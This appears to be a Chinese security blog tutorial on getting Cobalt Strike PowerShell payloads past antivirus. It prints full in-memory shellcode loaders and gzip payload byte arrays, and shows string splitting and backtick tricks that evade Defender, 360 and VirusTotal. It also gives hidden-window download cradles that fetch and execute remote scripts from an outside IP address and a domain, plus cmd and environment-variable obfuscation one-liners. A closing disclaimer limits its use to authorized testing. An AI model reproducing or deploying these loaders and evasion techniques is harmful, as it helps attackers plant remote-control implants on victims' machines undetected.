0x01 生成powershell脚本
前几天看了Y4er大佬免杀思路文章，我按照他的思路扩展了下总结的方法给大家参考，如有问题请大佬执教。
首先通过Cobalt Strike生成的powershell脚本
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('此处为shellcode，太长就不复制出来了')
for ($x = 0; $x -lt $var_code.Count; $x ) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}然后直接运行生成的powershell脚本，微软的Defender跟360都直接秒杀了
0x02 Powershell免杀
现在把FromBase64String改成FromBase65String，那就解决掉FromBase64String，直接改成byte数组。
代码语言：javascript复制$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
$s |foreach { $string = $string $_.ToString() ','}
然后输入$string查看转码后的值，发现进度条拉到顶都看不完。
此时把变量文件输出到文件中查看，有些用户权限不够会报错，更换路径就行了。
代码语言：javascript复制$string > c:1.txt
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [Byte[]](这里放刚刚转码后的FromBase65String)
for ($x = 0; $x -lt $var_code.Count; $x ) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}运行下，测试是否能上线，可以看到是没问题的。
接下来就是上VT查杀看看。https://www.virustotal.com
这样还不能够，继续改关键字。
代码语言：javascript复制Set-StrictMode -Version 2
$DoIt = @'
function func_b {
Param ($amodule, $aprocedure)
$aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns' 'afeN' 'ativeMethods')
$agpa = $aunsafe_native_methods.GetMethod('GetP' 'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
}
function func_a {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
[Parameter(Position = 1)] [Type] $areturn_type = [Void]
)
$atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect' 'edDel' 'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg' 'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
$atype_b.DefineMethod('Inv' 'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')
return $atype_b.CreateType()
}
[Byte[]]$acode = [Byte[]](这里放刚刚转码后的FromBase65String)
for ($x = 0; $x -lt $acode.Count; $x ) {
$acode[$x] = $acode[$x] -bxor 35
}
$ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)
$arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
$arunme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
i`ex $DoIt
}先使用看有没有改到不能上线，再检测免杀能力。
可以成功上线，再来测试免杀。VT完美免杀
0x03 生成无落地执行Powershell文件
生成无落地执行powershell文件
访问http://xxx.xx.xxx.xx:80/a这个连接看看文件内容，并保存下来
查看VT，一列全红，要是我买的股票这样多好，扯远了，
使用上面方法，直接把FromBase64String改成FromBase65String。
代码语言：javascript复制[Byte[]]$var_code = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,65,108,70,1,46,223,220,20,110,242,173,200,13,209,26,191,185,136,216,71,252,182,199,100,227,153,33,56,42,189,116,124,191,231,237,145,237,190,126,249,194,70,65,128,93,114,190,175,246,49,233,132,33,222,235,142,141,195,82,153,250,70,205,55,56,192,247,207,250,22,27,132,250,139,186,125,171,246,29,79,71,206,69,44,101,145,177,129,132,58,174,153,61,147,60,3,101,25,84,53,223,177,73,169,248,231,159,197,242,203,125,237,181,202,29,34,228,132,165,162,150,134,4,239,171,166,227)
$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();然后再丢到VT上面查看
不能够啊，还要继续改，首先将byte数组分成两个段。
代码语言：javascript复制[Byte[]]$var_c1 = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,187,110,247,28,92,199,128,115,15,33,42,160,68,249)
[Byte[]]$var_c2 = [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,189,155,171,100,3,217,135,72,62,122,114,114,79,229,11,250,65,228,238,241,255,241,0,126,112,250,223,161,205,192,203,103,186,119,232,242,128,62,199,171,40,254,81,40,136,107,234,195,126,104,159,224,139,5,31,168,86,206,189,144,160,128,220,111,61,29,62,111,242,247,117,233,22,149,41,145,91,80,183,136,250,78,221,67,122,157,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0)
$var_code=$var_c1 $var_c2
$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();老规矩使用命令看看是否影响上线
代码语言：javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:4545/text.txt'))"注：这里有一点要注意，我把cobalt strike恶意代码链接复制出来另存为一个txt，服务器另外起了一个http服务提供这个txt访问。可以看到上线成功了。
图片中的命令跟上面我写的命令不一样是因为我使用了混淆绕杀软，可以不管，后面会讲。
这次还是不完美，差一个，都是命令没有关键字替换，现在就是用混淆解决。
先上线后查杀
代码语言：javascript复制[Byte[]]$var_c1 = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,65,108,70,1,46,223,220,20,110,242,173,200,13,209,26,191,185,136,216,71,252,182,199,100,227,153,33,56,42,189,116,124,191,231,237,145,237,190,126,249,194,70,65,128,93,114,190,175,246,49,233,132,33,222,235,142,141,195,82,153,250,70,205,55,56,192,247,207,250,22,27,132,250,139,186,125,171,246,29,79,71,206,69,44,101,145,177,129,132,58,174,153,61,147,60,3,101,25,84,53,223,177,73,169,248,231,159,197,242,203,125,237,181,202,29,34,228,132,165,162,150,134,4,239,171,166,227,20,203,212,247,114,230,112,146,250,184,84,148,109,35,240,66,111,77,170,115,219,101,234,213,105,30,189,146,7,47,159,99,47,150,47,153,89,62,130,60,126,157,100,102,245,172,83,42,194,114,4,216,116,206,24,22,43,212,75,230,239,229,245,149,250,227,61,26,53,114,137,189,199,85,209,37,56,240,124,13,7,71,219,192,97,85,64,174,233,96,21,175,65,173,24,194,241,185,86,177,12,65,4,152,68,129,75,93,99,1,189,163,183,195,165,91,55,114,156,10,216,125,249,93,187,175,37,5,199,87,112,127,87,169,244,81,9,164,70,36,40,87,46,156,248,29,56,228,156,55,103,115,144,206,79,209,127,32,87,25,126,63,17,172,92,248,94,248,132,170,38,118,176,133,8,126,35,128,239,7,174,22,110,110,94,242,37,134,124,74,35,47,180,115,189,175,20,93,161,100,8,2,17,47,72,179,227,156,4,17,46,191,254,115,62,103,183,87,205,176,242,75,67,181,171,214,69,231,124,60,231,56,190,82,47,51,207,54,95,11,55,229,194,133,61,217,254,155,30,217,142,137,131,236,249,175,171,161,135,215,182,139,123,169,139,246,182,113,37,124,233,179,51,195,107,7,231,120,84,175,98,10,196,89,42,94,30,96,179,119,65,167,152,1,250,242,179,26,183,183,201,187,110,247,28,92,199,128,115,15,33,42,160,68,249)
[Byte[]]$var_c2 = [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,167,11,48,76,52,31,27,54,114,50,84,42,148,96,155,184,155,106,182,117,13,161,248,41,38,44,114,28,40,57,176,116,132,51,129,157,12,11,141,100,156,9,204,202,191,243,163,92,213,48,17,247,190,131,247,32,157,119,33,222,65,22,244,156,75,69,229,116,67,22,54,139,255,33,236,107,157,156,139,34,195,234,10,210,135,160,129,0,154,227,145,10,53,179,3,2,125,173,88,249,137,120,255,91,120,63,182,152,31,194,100,3,124,57,200,82,94,136,47,221,148,100,229,146,75,26,217,203,229,235,59,150,57,114,1,1,212,248,192,219,119,81,136,155,13,45,111,99,165,34,211,138,14,98,42,111,199,205,160,207,29,121,225,32,112,19,184,142,112,49,7,158,147,164,129,234,119,85,201,224,162,231,145,64,15,214,226,184,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0)
$var_code=$var_c1 $var_c2
$s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1 $a2)老规矩，先上线后查杀。
上线成功，没有被杀的了。完美
0x04 总结
VT确实免杀了，不过呢实际执行的时候360跟defender还是会拦截（翻车现场，勿喷），通过混淆执行语句可以绕过，昨天试过了还没问题，今天写文章发现defender的amsi更新了，没有截图。文章的目的也不是直接给大家使用，不是最新版本的直接使用确实没问题，对于最新版的杀软这里的思路还是可用，只是需要加入更多的混淆，或者加一些编码进去。
0x05 扩展
下面讲下执行远程执行脚本时代码混淆，有的时候直接执行cs生成的语句杀软会拦截。
原始语句：
代码语言：javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.232.213.20:45685/text.txt'))"最后我们就需要混淆下代码了，可以使用Replace替换关键字部分字母，加上通过拆分后重新组合
例如：
代码语言：javascript复制powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1 $c2)"或者
代码语言：javascript复制powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.213.20:45685/text.txt'')'.Replace('aaa','p://103.232/text.txt');IEX ($c1 $c2)"还有powershell语言的特性来混淆代码
常规方法：
代码语言：javascript复制cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"管道输入流：
代码语言：javascript复制cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"利用环境变量：
代码语言：javascript复制cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)从其他进程获取参数：
代码语言：javascript复制cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"免杀要不断尝试，活学活用，一次混淆不行多混淆几次，加上替换关键字等。
参考链接：
https://y4er.com/post/cobalt-strike-powershell-bypass/
https://www.cnblogs.com/linuxsec/articles/7384582.html
免责申明：
本项目仅进行信息搜集，漏洞探测工作，无漏洞利用、攻击性行为，发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。 请使用者遵守当地相关法律，勿用于非授权测试，勿用于非授权测试，勿用于非授权测试~~（重要的事情说三遍）~~，如作他用所承受的法律责任一概与凌晨安全无关！！！
